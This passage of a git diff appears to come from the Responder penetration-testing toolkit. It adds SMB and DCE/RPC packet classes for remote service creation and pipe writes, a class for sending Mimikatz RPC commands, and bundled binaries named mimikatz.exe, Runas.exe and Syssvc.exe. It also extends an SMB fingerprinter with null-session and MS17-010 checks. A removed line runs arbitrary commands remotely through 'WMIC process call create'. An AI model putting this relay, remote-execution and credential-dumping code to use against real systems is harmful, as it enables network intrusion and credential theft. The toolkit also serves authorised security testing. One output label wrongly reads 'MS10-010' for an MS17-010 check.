("Disposition", "\x01\x00\x00\x00"),
|
||||||
|
("CreateOptions", "\x40\x00\x40\x00"),
|
||||||
|
("Impersonation", "\x02\x00\x00\x00"),
|
||||||
|
("SecurityFlags", "\x01"),
|
||||||
|
("Bcc", "\x08\x00"),
|
||||||
|
("FileName", ""),
|
||||||
|
("FileNameNull", "\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
Data1= str(self.fields["FileName"])+str(self.fields["FileNameNull"])
|
||||||
|
self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
|
||||||
|
self.fields["Bcc"] = struct.pack("<h",len(Data1))
|
||||||
|
|
||||||
|
class SMBNTCreateDataSVCCTL(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
("Wordcount", "\x18"),
|
("Wordcount", "\x18"),
|
||||||
("AndXCommand", "\xff"),
|
("AndXCommand", "\xff"),
|
||||||
@@ -488,6 +523,15 @@ class SMBNTCreateData(Packet):
|
|||||||
self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
|
self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
|
||||||
self.fields["Bcc"] = struct.pack("<h",len(Data1))
|
self.fields["Bcc"] = struct.pack("<h",len(Data1))
|
||||||
|
|
||||||
|
class SMBLockingAndXResponse(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x02"),
|
||||||
|
("AndXCommand", "\xff"),
|
||||||
|
("Reserved", "\x00"),
|
||||||
|
("Andxoffset", "\x00\x00"),
|
||||||
|
("Bcc", "\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
class SMBReadData(Packet):
|
class SMBReadData(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
("Wordcount", "\x0a"),
|
("Wordcount", "\x0a"),
|
||||||
@@ -509,6 +553,31 @@ class SMBReadData(Packet):
|
|||||||
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
|
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||||
|
|
||||||
class SMBWriteData(Packet):
|
class SMBWriteData(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x0e"),
|
||||||
|
("AndXCommand", "\xff"),
|
||||||
|
("Reserved", "\x00" ),
|
||||||
|
("Andxoffset", "\xde\xde"),
|
||||||
|
("FID", "\x06\x40"),
|
||||||
|
("Offset", "\x00\x00\x00\x00"),
|
||||||
|
("TimeOut", "\x00\x00\x00\x00"),
|
||||||
|
("WriteMode", "\x01\x00"),
|
||||||
|
("Remaining", "\x00\x00"),
|
||||||
|
("DataLenHi", "\x00\x00"),
|
||||||
|
("DataLenLow", "\xdc\x02"),
|
||||||
|
("DataOffset", "\x40\x00"),
|
||||||
|
("HiOffset", "\x00\x00\x00\x00"),
|
||||||
|
("Bcc", "\xdc\x02"),
|
||||||
|
("Padding", "\x41"),
|
||||||
|
("Data", ""),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
|
||||||
|
self.fields["DataLenLow"] = struct.pack("<H",len(str(self.fields["Data"])))
|
||||||
|
self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"])))
|
||||||
|
|
||||||
|
class SMBDCERPCWriteData(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
("Wordcount", "\x0e"),
|
("Wordcount", "\x0e"),
|
||||||
("AndXCommand", "\xff"),
|
("AndXCommand", "\xff"),
|
||||||
@@ -532,6 +601,8 @@ class SMBWriteData(Packet):
|
|||||||
self.fields["DataLenLow"] = struct.pack("<h",len(str(self.fields["Data"])))
|
self.fields["DataLenLow"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||||
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
|
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
class SMBTransDCERPC(Packet):
|
class SMBTransDCERPC(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
("Wordcount", "\x10"),
|
("Wordcount", "\x10"),
|
||||||
@@ -591,7 +662,7 @@ class SMBDCEData(Packet):
|
|||||||
("DataRepresent", "\x10\x00\x00\x00"),
|
("DataRepresent", "\x10\x00\x00\x00"),
|
||||||
("FragLen", "\x2c\x02"),
|
("FragLen", "\x2c\x02"),
|
||||||
("AuthLen", "\x00\x00"),
|
("AuthLen", "\x00\x00"),
|
||||||
("CallID", "\x00\x00\x00\x00"),
|
("CallID", "\x01\x00\x00\x00"),
|
||||||
("MaxTransFrag", "\xd0\x16"),
|
("MaxTransFrag", "\xd0\x16"),
|
||||||
("MaxRecvFrag", "\xd0\x16"),
|
("MaxRecvFrag", "\xd0\x16"),
|
||||||
("GroupAssoc", "\x00\x00\x00\x00"),
|
("GroupAssoc", "\x00\x00\x00\x00"),
|
||||||
@@ -688,7 +759,7 @@ class SMBDCESVCCTLCreateService(Packet):
|
|||||||
("TagID", "\x00\x00\x00\x00"),
|
("TagID", "\x00\x00\x00\x00"),
|
||||||
("Dependencies", "\x00\x00\x00\x00"),
|
("Dependencies", "\x00\x00\x00\x00"),
|
||||||
("DependenciesLen", "\x00\x00\x00\x00"),
|
("DependenciesLen", "\x00\x00\x00\x00"),
|
||||||
("ServiceStartName", "\x00\x00\x00\x00"),
|
("ServiceStartUser", "\x00\x00\x00\x00"),
|
||||||
("Password", "\x00\x00\x00\x00"),
|
("Password", "\x00\x00\x00\x00"),
|
||||||
("PasswordLen", "\x00\x00\x00\x00"),
|
("PasswordLen", "\x00\x00\x00\x00"),
|
||||||
("Padding", "\x00\x00"),
|
("Padding", "\x00\x00"),
|
||||||
@@ -696,14 +767,14 @@ class SMBDCESVCCTLCreateService(Packet):
|
|||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
|
|
||||||
WinTmpPath = "%WINDIR%\\Temp\\Results.txt"
|
|
||||||
|
|
||||||
##Run the actual command via WMIC, no need to write/execute from a file.
|
|
||||||
self.fields["BinCMD"] = "WMIC process call create 'cmd /c ("+self.fields["BinCMD"]+") >"+WinTmpPath+"&exit'"
|
|
||||||
|
|
||||||
BinDataLen = str(self.fields["BinCMD"])
|
BinDataLen = str(self.fields["BinCMD"])
|
||||||
|
|
||||||
|
#Padding
|
||||||
|
if len(str(self.fields["BinCMD"]))%2==0:
|
||||||
|
self.fields["LoadOrderGroup"] = "\x00\x00\x00\x00"
|
||||||
|
else:
|
||||||
|
self.fields["LoadOrderGroup"] = "\x00\x00"
|
||||||
|
|
||||||
## Calculate first
|
## Calculate first
|
||||||
self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1)
|
self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1)
|
||||||
self.fields["BinPathActualCount"] = struct.pack("<i",len(BinDataLen)+1)
|
self.fields["BinPathActualCount"] = struct.pack("<i",len(BinDataLen)+1)
|
||||||
@@ -711,12 +782,12 @@ class SMBDCESVCCTLCreateService(Packet):
|
|||||||
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
|
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
|
||||||
self.fields["MaxCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
|
self.fields["MaxCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
|
||||||
self.fields["ActualCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
|
self.fields["ActualCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
|
||||||
|
|
||||||
## Then convert to UTF-16LE
|
## Then convert to UTF-16LE
|
||||||
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
|
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
|
||||||
self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le')
|
self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le')
|
||||||
self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
|
self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
|
||||||
|
|
||||||
|
|
||||||
class SMBDCESVCCTLOpenService(Packet):
|
class SMBDCESVCCTLOpenService(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
("ContextHandle", ""),
|
("ContextHandle", ""),
|
||||||
@@ -767,6 +838,21 @@ class SMBDCESVCCTLQueryService(Packet):
|
|||||||
("ContextHandle", ""),
|
("ContextHandle", ""),
|
||||||
])
|
])
|
||||||
|
|
||||||
|
class SMBDCEMimiKatzRPCCommand(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("ContextHandleLen", "\x07\x00\x00\x00"),
|
||||||
|
("ContextHandle", "\x00\x00\x00\x00"),
|
||||||
|
("ContextHandleLen2", "\x07\x00\x00\x00"),
|
||||||
|
("CMD", ""),
|
||||||
|
("CMDEnd", "\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
self.fields["ContextHandleLen"] = struct.pack("<i",len(str(self.fields["CMD"]))+1)
|
||||||
|
self.fields["ContextHandleLen2"] = struct.pack("<i",len(str(self.fields["CMD"]))+1)
|
||||||
|
self.fields["CMD"] = self.fields["CMD"].encode('utf-16le')
|
||||||
|
|
||||||
|
|
||||||
class OpenAndX(Packet):
|
class OpenAndX(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
("Wordcount", "\x0f"),
|
("Wordcount", "\x0f"),
|
||||||
@@ -819,6 +905,42 @@ class ReadRequestAndX(Packet):
|
|||||||
|
|
||||||
])
|
])
|
||||||
|
|
||||||
|
class SMBDCERPCReadRequestAndX(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x0C"),
|
||||||
|
("AndXCommand", "\xff"),
|
||||||
|
("Reserved", "\x00"),
|
||||||
|
("AndXOffset", "\xde\xde"),
|
||||||
|
("FID", "\x02\x40"),
|
||||||
|
("Offset", "\x00\x00\x00\x00"),
|
||||||
|
("MaxCountLow", "\xb8\x10"),
|
||||||
|
("MinCount", "\xb8\x10"),
|
||||||
|
("Timeout", "\xff\xff\xff\xff"),
|
||||||
|
("RemainingBytes", "\x00\x00"),
|
||||||
|
("HighOffset", "\x00\x00\x00\x00"),
|
||||||
|
("Bcc", "\x00\x00"),
|
||||||
|
|
||||||
|
])
|
||||||
|
|
||||||
|
class WriteRequestAndX(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x06"),
|
||||||
|
("AndXCommand", "\xff"),
|
||||||
|
("Reserved", "\x00"),
|
||||||
|
("AndXOffset", "\xde\xde"),
|
||||||
|
("FID", "\x02\x40"),
|
||||||
|
("Offset", "\x00\x00\x00\x00"),
|
||||||
|
("Reserved2", "\xff\xff\xff\xff"),
|
||||||
|
("WriteMode", "\x00\x00"),
|
||||||
|
("Remaining", "\x00\x00"),
|
||||||
|
("DataLenHi", "\x00\x00"),
|
||||||
|
("DataLenLow", "\x0a\x00"),#actual Len
|
||||||
|
("DataOffset", "\x3f\x00"),
|
||||||
|
("Bcc", "\x0a\x00"),
|
||||||
|
("Padd", ""),
|
||||||
|
("Data", ""),
|
||||||
|
|
||||||
|
])
|
||||||
|
|
||||||
class CloseRequest(Packet):
|
class CloseRequest(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
@@ -988,3 +1110,4 @@ class SMBDCEWinRegSaveKey(Packet):
|
|||||||
self.fields["FileSizeUnicode"] = struct.pack("<h",len(str(self.fields["File"]))+2)
|
self.fields["FileSizeUnicode"] = struct.pack("<h",len(str(self.fields["File"]))+2)
|
||||||
self.fields["MaxFileSizeUnicode"] = struct.pack("<h",len(str(self.fields["File"]))+2)
|
self.fields["MaxFileSizeUnicode"] = struct.pack("<h",len(str(self.fields["File"]))+2)
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
BIN
tools/MultiRelay/bin/Runas.exe
Normal file
BIN
tools/MultiRelay/bin/Runas.exe
Normal file
Binary file not shown.
BIN
tools/MultiRelay/bin/Syssvc.exe
Normal file
BIN
tools/MultiRelay/bin/Syssvc.exe
Normal file
Binary file not shown.
BIN
tools/MultiRelay/bin/mimikatz.exe
Normal file
BIN
tools/MultiRelay/bin/mimikatz.exe
Normal file
Binary file not shown.
BIN
tools/MultiRelay/bin/mimikatz_x86.exe
Normal file
BIN
tools/MultiRelay/bin/mimikatz_x86.exe
Normal file
Binary file not shown.
@@ -20,8 +20,9 @@ import multiprocessing
|
|||||||
from socket import *
|
from socket import *
|
||||||
from odict import OrderedDict
|
from odict import OrderedDict
|
||||||
import optparse
|
import optparse
|
||||||
|
from RunFingerPackets import *
|
||||||
|
|
||||||
__version__ = "0.6"
|
__version__ = "0.7"
|
||||||
|
|
||||||
parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
|
parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
|
||||||
|
|
||||||
@@ -61,82 +62,6 @@ def GetBootTime(data):
|
|||||||
time = datetime.datetime.fromtimestamp(t[0])
|
time = datetime.datetime.fromtimestamp(t[0])
|
||||||
return time, time.strftime('%Y-%m-%d %H:%M:%S')
|
return time, time.strftime('%Y-%m-%d %H:%M:%S')
|
||||||
|
|
||||||
class SMBHeader(Packet):
|
|
||||||
fields = OrderedDict([
|
|
||||||
("proto", "\xff\x53\x4d\x42"),
|
|
||||||
("cmd", "\x72"),
|
|
||||||
("error-code", "\x00\x00\x00\x00" ),
|
|
||||||
("flag1", "\x00"),
|
|
||||||
("flag2", "\x00\x00"),
|
|
||||||
("pidhigh", "\x00\x00"),
|
|
||||||
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
|
||||||
("reserved", "\x00\x00"),
|
|
||||||
("tid", "\x00\x00"),
|
|
||||||
("pid", "\x00\x00"),
|
|
||||||
("uid", "\x00\x00"),
|
|
||||||
("mid", "\x00\x00"),
|
|
||||||
])
|
|
||||||
|
|
||||||
class SMBNego(Packet):
|
|
||||||
fields = OrderedDict([
|
|
||||||
("Wordcount", "\x00"),
|
|
||||||
("Bcc", "\x62\x00"),
|
|
||||||
("Data", "")
|
|
||||||
])
|
|
||||||
|
|
||||||
def calculate(self):
|
|
||||||
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
|
|
||||||
|
|
||||||
class SMBNegoData(Packet):
|
|
||||||
fields = OrderedDict([
|
|
||||||
("BuffType","\x02"),
|
|
||||||
("Dialect", "NT LM 0.12\x00"),
|
|
||||||
])
|
|
||||||
|
|
||||||
|
|
||||||
class SMBSessionFingerData(Packet):
|
|
||||||
fields = OrderedDict([
|
|
||||||
("wordcount", "\x0c"),
|
|
||||||
("AndXCommand", "\xff"),
|
|
||||||
("reserved","\x00" ),
|
|
||||||
("andxoffset", "\x00\x00"),
|
|
||||||
("maxbuff","\x04\x11"),
|
|
||||||
("maxmpx", "\x32\x00"),
|
|
||||||
("vcnum","\x00\x00"),
|
|
||||||
("sessionkey", "\x00\x00\x00\x00"),
|
|
||||||
("securitybloblength","\x4a\x00"),
|
|
||||||
("reserved2","\x00\x00\x00\x00"),
|
|
||||||
("capabilities", "\xd4\x00\x00\xa0"),
|
|
||||||
("bcc1","\xb1\x00"), #hardcoded len here and hardcoded packet below, no calculation, faster.
|
|
||||||
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
|
|
||||||
])
|
|
||||||
|
|
||||||
##Now Lanman
|
|
||||||
class SMBHeaderLanMan(Packet):
|
|
||||||
fields = OrderedDict([
|
|
||||||
("proto", "\xff\x53\x4d\x42"),
|
|
||||||
("cmd", "\x72"),
|
|
||||||
("error-code", "\x00\x00\x00\x00" ),
|
|
||||||
("flag1", "\x08"),
|
|
||||||
("flag2", "\x01\xc8"),
|
|
||||||
("pidhigh", "\x00\x00"),
|
|
||||||
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
|
||||||
("reserved", "\x00\x00"),
|
|
||||||
("tid", "\x00\x00"),
|
|
||||||
("pid", "\x3c\x1b"),
|
|
||||||
("uid", "\x00\x00"),
|
|
||||||
("mid", "\x00\x00"),
|
|
||||||
])
|
|
||||||
|
|
||||||
#We grab the domain and hostname from the negotiate protocol answer, since it is in a Lanman dialect format.
|
|
||||||
class SMBNegoDataLanMan(Packet):
|
|
||||||
fields = OrderedDict([
|
|
||||||
("Wordcount", "\x00"),
|
|
||||||
("Bcc", "\x0c\x00"),#hardcoded len here and hardcoded packet below, no calculation, faster.
|
|
||||||
("BuffType","\x02"),
|
|
||||||
("Dialect", "NT LM 0.12\x00"),
|
|
||||||
|
|
||||||
])
|
|
||||||
|
|
||||||
#####################
|
#####################
|
||||||
|
|
||||||
@@ -155,18 +80,22 @@ def dtoa(d):
|
|||||||
def OsNameClientVersion(data):
|
def OsNameClientVersion(data):
|
||||||
try:
|
try:
|
||||||
length = struct.unpack('<H',data[43:45])[0]
|
length = struct.unpack('<H',data[43:45])[0]
|
||||||
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
|
if length > 255:
|
||||||
if OsVersion == "Unix":
|
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[48+length:].split('\x00\x00\x00')[:2]])
|
||||||
OsVersion = ClientVersion
|
return OsVersion, ClientVersion
|
||||||
return OsVersion, ClientVersion
|
if length <= 255:
|
||||||
|
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
|
||||||
|
return OsVersion, ClientVersion
|
||||||
except:
|
except:
|
||||||
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
|
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
|
||||||
|
|
||||||
def GetHostnameAndDomainName(data):
|
def GetHostnameAndDomainName(data):
|
||||||
try:
|
try:
|
||||||
DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
|
DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
|
||||||
Time = GetBootTime(data[60:68])
|
Time = GetBootTime(data[60:68])
|
||||||
|
#If max length domain name, there won't be a \x00\x00\x00 delineator to split on
|
||||||
|
if Hostname == '':
|
||||||
|
DomainJoined = data[81:110].replace('\x00','')
|
||||||
|
Hostname = data[113:].replace('\x00','')
|
||||||
return Hostname, DomainJoined, Time
|
return Hostname, DomainJoined, Time
|
||||||
except:
|
except:
|
||||||
return "Could not get Hostname.", "Could not get Domain joined"
|
return "Could not get Hostname.", "Could not get Domain joined"
|
||||||
@@ -177,7 +106,6 @@ def DomainGrab(Host):
|
|||||||
s.settimeout(Timeout)
|
s.settimeout(Timeout)
|
||||||
s.connect(Host)
|
s.connect(Host)
|
||||||
except:
|
except:
|
||||||
print "Host down or port close, skipping"
|
|
||||||
pass
|
pass
|
||||||
try:
|
try:
|
||||||
h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
|
h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
|
||||||
@@ -198,7 +126,6 @@ def SmbFinger(Host):
|
|||||||
s.settimeout(Timeout)
|
s.settimeout(Timeout)
|
||||||
s.connect(Host)
|
s.connect(Host)
|
||||||
except:
|
except:
|
||||||
print "Host down or port close, skipping"
|
|
||||||
pass
|
pass
|
||||||
try:
|
try:
|
||||||
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
|
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
|
||||||
@@ -216,28 +143,92 @@ def SmbFinger(Host):
|
|||||||
buffer1 = longueur(packet0)+packet0
|
buffer1 = longueur(packet0)+packet0
|
||||||
s.send(buffer1)
|
s.send(buffer1)
|
||||||
data = s.recv(2048)
|
data = s.recv(2048)
|
||||||
s.close()
|
|
||||||
if data[8:10] == "\x73\x16":
|
if data[8:10] == "\x73\x16":
|
||||||
OsVersion, ClientVersion = OsNameClientVersion(data)
|
OsVersion, ClientVersion = OsNameClientVersion(data)
|
||||||
return signing, OsVersion, ClientVersion
|
return signing, OsVersion, ClientVersion
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
##################
|
|
||||||
#run it
|
def SmbNullSession(Host):
|
||||||
def ShowResults(Host):
|
|
||||||
s = socket(AF_INET, SOCK_STREAM)
|
s = socket(AF_INET, SOCK_STREAM)
|
||||||
try:
|
try:
|
||||||
s.settimeout(Timeout)
|
s.settimeout(Timeout)
|
||||||
s.connect(Host)
|
s.connect(Host)
|
||||||
except:
|
except:
|
||||||
return False
|
pass
|
||||||
|
|
||||||
|
try:
|
||||||
|
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x53\xc8")
|
||||||
|
n = SMBNego(Data = SMBNegoData())
|
||||||
|
n.calculate()
|
||||||
|
packet0 = str(h)+str(n)
|
||||||
|
buffer0 = longueur(packet0)+packet0
|
||||||
|
s.send(buffer0)
|
||||||
|
data = s.recv(2048)
|
||||||
|
try:
|
||||||
|
if data[8:10] == "\x72\x00":
|
||||||
|
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x53\xc8")
|
||||||
|
t = SMBSessionData()
|
||||||
|
t.calculate()
|
||||||
|
final = t
|
||||||
|
packet1 = str(head)+str(final)
|
||||||
|
buffer1 = longueur(packet1)+packet1
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
|
||||||
|
if data[8:10] == "\x73\x16":
|
||||||
|
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x17\xc8",uid=data[32:34],mid="\x80\x00")
|
||||||
|
t = SMBSession2()
|
||||||
|
t.calculate()
|
||||||
|
final = t
|
||||||
|
packet1 = str(head)+str(final)
|
||||||
|
buffer1 = longueur(packet1)+packet1
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
|
||||||
|
if data[8:10] == "\x73\x00":
|
||||||
|
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",uid=data[32:34],mid="\xc0\x00")
|
||||||
|
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$")
|
||||||
|
t.calculate()
|
||||||
|
packet1 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet1)+packet1
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
|
||||||
|
if data[8:10] == "\x75\x00":
|
||||||
|
global Guest
|
||||||
|
Guest = True
|
||||||
|
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",uid=data[32:34],tid=data[28:30],mid="\xc0\x00")
|
||||||
|
t = SMBTransRAPData()
|
||||||
|
t.calculate()
|
||||||
|
packet1 = str(head)+str(t)
|
||||||
|
buffer1 = longueur(packet1)+packet1
|
||||||
|
s.send(buffer1)
|
||||||
|
data = s.recv(2048)
|
||||||
|
if data[9:13] == "\x05\x02\x00\xc0":
|
||||||
|
return Guest, True
|
||||||
|
else:
|
||||||
|
return Guest, False
|
||||||
|
else:
|
||||||
|
return False, False
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
##################
|
||||||
|
#run it
|
||||||
|
def ShowResults(Host):
|
||||||
try:
|
try:
|
||||||
print "Retrieving information for %s..."%Host[0]
|
|
||||||
Hostname, DomainJoined, Time = DomainGrab(Host)
|
Hostname, DomainJoined, Time = DomainGrab(Host)
|
||||||
Signing, OsVer, LanManClient = SmbFinger(Host)
|
Signing, OsVer, LanManClient = SmbFinger(Host)
|
||||||
|
NullSess, Ms17010 = SmbNullSession(Host)
|
||||||
|
print "Retrieving information for %s..."%Host[0]
|
||||||
print "SMB signing:", Signing
|
print "SMB signing:", Signing
|
||||||
|
print "Null Sessions Allowed:", NullSess
|
||||||
|
print "Vulnerable to MS10-010:", Ms17010
|
||||||
print "Server Time:", Time[1]
|
print "Server Time:", Time[1]
|
||||||
print "Os version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)
|
print "Os version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)
|
||||||
print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)
|
print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)
|
||||||
@@ -255,9 +246,11 @@ def ShowSmallResults(Host):
|
|||||||
try:
|
try:
|
||||||
Hostname, DomainJoined, Time = DomainGrab(Host)
|
Hostname, DomainJoined, Time = DomainGrab(Host)
|
||||||
Signing, OsVer, LanManClient = SmbFinger(Host)
|
Signing, OsVer, LanManClient = SmbFinger(Host)
|
||||||
Message = "['%s', Os:'%s', Domain:'%s', Signing:'%s', Time:'%s']"%(Host[0], OsVer, DomainJoined, Signing, Time[1])
|
NullSess, Ms17010 = SmbNullSession(Host)
|
||||||
|
Message = "['%s', Os:'%s', Domain:'%s', Signing:'%s', Time:'%s', Null Session: %s, MS17-010: %s]"%(Host[0], OsVer, DomainJoined, Signing, Time[1],NullSess, Ms17010)
|
||||||
print Message
|
print Message
|
||||||
except:
|
except:
|
||||||
|
raise
|
||||||
pass
|
pass
|
||||||
|
|
||||||
def IsGrepable():
|
def IsGrepable():
|
||||||
|
|||||||
410
tools/RunFingerPackets.py
Normal file
410
tools/RunFingerPackets.py
Normal file
@@ -0,0 +1,410 @@
|
|||||||
|
import random, struct
|
||||||
|
from socket import *
|
||||||
|
from time import sleep
|
||||||
|
from odict import OrderedDict
|
||||||
|
|
||||||
|
def longueur(payload):
|
||||||
|
length = struct.pack(">i", len(''.join(payload)))
|
||||||
|
return length
|
||||||
|
|
||||||
|
class Packet():
|
||||||
|
fields = OrderedDict([
|
||||||
|
])
|
||||||
|
def __init__(self, **kw):
|
||||||
|
self.fields = OrderedDict(self.__class__.fields)
|
||||||
|
for k,v in kw.items():
|
||||||
|
if callable(v):
|
||||||
|
self.fields[k] = v(self.fields[k])
|
||||||
|
else:
|
||||||
|
self.fields[k] = v
|
||||||
|
def __str__(self):
|
||||||
|
return "".join(map(str, self.fields.values()))
|
||||||
|
|
||||||
|
class SMBHeader(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("proto", "\xff\x53\x4d\x42"),
|
||||||
|
("cmd", "\x72"),
|
||||||
|
("error-code", "\x00\x00\x00\x00" ),
|
||||||
|
("flag1", "\x00"),
|
||||||
|
("flag2", "\x00\x00"),
|
||||||
|
("pidhigh", "\x00\x00"),
|
||||||
|
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
|
("reserved", "\x00\x00"),
|
||||||
|
("tid", "\x00\x00"),
|
||||||
|
("pid", "\x00\x00"),
|
||||||
|
("uid", "\x00\x00"),
|
||||||
|
("mid", "\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
class SMBNego(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x00"),
|
||||||
|
("Bcc", "\x62\x00"),
|
||||||
|
("Data", "")
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||||
|
|
||||||
|
class SMBNegoData(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("BuffType","\x02"),
|
||||||
|
("Dialect", "NT LM 0.12\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
class SMBSessionFingerData(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("wordcount", "\x0c"),
|
||||||
|
("AndXCommand", "\xff"),
|
||||||
|
("reserved","\x00" ),
|
||||||
|
("andxoffset", "\x00\x00"),
|
||||||
|
("maxbuff","\x04\x11"),
|
||||||
|
("maxmpx", "\x32\x00"),
|
||||||
|
("vcnum","\x00\x00"),
|
||||||
|
("sessionkey", "\x00\x00\x00\x00"),
|
||||||
|
("securitybloblength","\x4a\x00"),
|
||||||
|
("reserved2","\x00\x00\x00\x00"),
|
||||||
|
("capabilities", "\xd4\x00\x00\xa0"),
|
||||||
|
("bcc1","\xb1\x00"), #hardcoded len here and hardcoded packet below, no calculation, faster.
|
||||||
